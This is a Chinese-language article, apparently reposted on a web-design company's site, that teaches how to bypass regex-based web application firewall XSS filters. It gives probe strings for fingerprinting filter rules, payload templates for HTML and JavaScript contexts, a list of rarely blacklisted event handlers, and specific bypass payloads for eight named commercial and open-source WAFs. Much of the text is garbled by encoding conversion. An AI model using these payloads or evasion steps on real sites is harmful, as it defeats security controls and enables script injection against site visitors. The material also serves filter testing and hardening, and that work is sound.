如何繞過WAF的XSS檢測機制

本篇文章給大家分享的是有關如何繞過WAF的XSS檢測機制,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

成都創(chuàng)新互聯(lián)成立與2013年,先為江達等服務建站,江達等地企業(yè),進行企業(yè)商務咨詢服務。為江達企業(yè)網(wǎng)站制作PC+手機+微官網(wǎng)三網(wǎng)同步一站式服務解決您的所有建站問題。

概述

本文提出了一種繞過XSS安全機制的新型方法,這種技術由三個階段組成:確定Payload結構、探測和混淆處理。首先,我們需要針對給定的上下文環(huán)境,確定各種不同的Payload結構以達到最優(yōu)的測試效果。接下來就是探測,這里涉及到根據(jù)目標所實現(xiàn)的安全機制來進行各種字符串測試,并分析目標的響應數(shù)據(jù)以便基于分析結果來做出安全假設。最后,根據(jù)分析結果來判斷是否要對Payload進行混淆處理或結構調整。

介紹

XSS是Web應用程序中常見的漏洞之一,網(wǎng)站管理員可以通過用戶輸入過濾、根據(jù)上下文轉換輸出數(shù)據(jù)、正確使用DOM、強制執(zhí)行跨源資源共享(CORS)策略以及其他的安全策略來規(guī)避XSS漏洞。盡管現(xiàn)在有很多預防XSS攻擊的技術,但Web應用程序防火墻(WAF)或自定義數(shù)據(jù)過濾器是目前使用比較廣泛的安全保護技術了,很多廠商都會利用這些技術來抵御新型的XSS攻擊向量。雖然WAF廠商仍在嘗試引入機器學習技術,但基于正則表達式的字符串檢測方法仍是目前最廣泛使用的技術。

下面提出了一種構造XSS Payload的新型方法,這種方法構造出來的XSS Payload可以繞過基于正則表達式匹配的安全機制。

HTML上下文

當用戶的輸入數(shù)據(jù)映射在Web頁面的HTML代碼中時,這種場景就是我們所謂的HTML上下文。HTML上下文可以根據(jù)用戶輸入在代碼中的映射位置來進一步劃分成:

1、 標簽內:<inputtype="text" value="$input">

2、 標簽外:<span>Youentered $input</span>

標簽外

在這種上下文場景中,主要字符“<”代表HTML標簽的起始。根據(jù)HTML定義,標簽名必須以字母作為開頭,因此我們可以利用下面的規(guī)則來判斷用來匹配標簽名的正則表達式:

1、<svg – 如果通過,表明沒有進行任何標簽檢測;

2、<dev – 如果無法通過,則為<[a-z]+;

3、x<dev – 如果通過,則為^<[a-z]+;

4、<dEv - 如果無法通過,則為<[a-zA-Z]+;

5、<d3V - 如果無法通過,則為<[a-zA-Z0-9]+;

6、<d|3v - 如果無法通過,則為<.+;

如果上述方式均無法探測成功,則說明目標站點部署的安全機制無法被繞過。這種方式的假陽性率非常高,因此不鼓勵使用。如果上述探測方式有一個可行,那么可用來構造Payload的機制就非常多了。

Payload機制#1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

找到{tag}的合適值之后,就需要猜測用于匹配標簽和事件處理器間數(shù)據(jù)過濾器的正則表達式了。這一步可以使用下面的探測機制來實現(xiàn):

1、<tag xxx - 如果無法通過,則為{space};

2、<tag%09xxx - 如果無法通過,則為[\s];

3、<tag%09%09xxx - 如果無法通過,則為\s+;

4、<tag/xxx - 如果無法通過,則為[\s/]+;

5、<tag%0axxx- 如果無法通過,則為[\s\n]+;

6、<tag%0dxxx>- 如果無法通過,則為[\s\n\r+]+;

7、<tag/~/xxx - 如果無法通過,則為.*+;

這個組件(例如事件處理器)是Payload結構中最關鍵的部分。通常,匹配它的是常規(guī)正則表達式(例如“on\w+”)或黑名單(例如“on(load|click|error|show)”)。第一個正則表達式非常嚴格,很難繞過,而基于黑名單的模式可以通過不常用的事件處理器來繞過。安全機制的實現(xiàn)類型可以通過下面兩種簡單的方法來識別:

1、<tag{filler}onxxx - 如果無法通過,則為on\w+。如果通過,則為on(load|click|error|show);

2、<tag{filler}onclick- 如果通過,則表明沒有事件處理器檢測正則表達式;

下面是一些防火墻黑名單中沒標記的事件處理器:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

常用的Payload結束符如下:

<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

Payload機制#2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

使用了<object>標簽的Payload可以利用下面的Payload機制來構建:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Payload機制#3

這種Payload機制有兩種形式:明文或混淆處理。

明文結構如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

混淆處理后的Payload結構如下:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

JavaScript上下文

Payload機制#1

{quote}{delimiter}{javascript}{delimiter}{quote}

可用的Payload有:

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'

Payload機制#2

{quote}{delimiter}{javascript}//

可以使用下列Payload機制來構建Payload:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

防火墻繞過

在研究過程中,總共繞過了八款WAF。下面的列表包含了可繞過的WAF、Paylaod以及相關的繞過技術:

WAF名稱:Cloudflare

Payload:<a"/onclick=(confirm)()>click

繞過技術:非空格填充

WAF名稱:Wordfence

Payload:<a/href=javascript&ampcolon;alert()>click

繞過技術:數(shù)字字符編碼

WAF名稱:Barracuda

Payload:<a/href=&amp#74;ava%0a%0d%09script&ampcolon;alert()>click

繞過技術:數(shù)字字符編碼

WAF名稱:Akamai

Payload:<d3v/onauxclick=[2].some(confirm)>click

繞過技術:黑名單中缺少事件處理器以及函數(shù)調用混淆

WAF名稱:Comodo

Payload:<d3v/onauxclick=(((confirm)))``>click

繞過技術:黑名單中缺少事件處理器以及函數(shù)調用混淆

WAF名稱:F5

Payload:<d3v/onmouseleave=[2].some(confirm)>click

繞過技術:黑名單中缺少事件處理器以及函數(shù)調用混淆

WAF名稱:ModSecurity

Payload:<details/open/ontoggle=alert()>

繞過技術:黑名單中缺少標簽或事件處理器

WAF名稱:dotdefender

Payload:<details/open/ontoggle=(confirm)()//

繞過技術:黑名單中缺少結束標簽、事件處理器和函數(shù)調用混淆

以上就是如何繞過WAF的XSS檢測機制,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

網(wǎng)站標題:如何繞過WAF的XSS檢測機制
文章地址:http://bm7419.com/article48/jdjsep.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供手機網(wǎng)站建設定制開發(fā)、網(wǎng)站內鏈、網(wǎng)頁設計公司、網(wǎng)站策劃、Google

廣告

聲明:本網(wǎng)站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)

綿陽服務器托管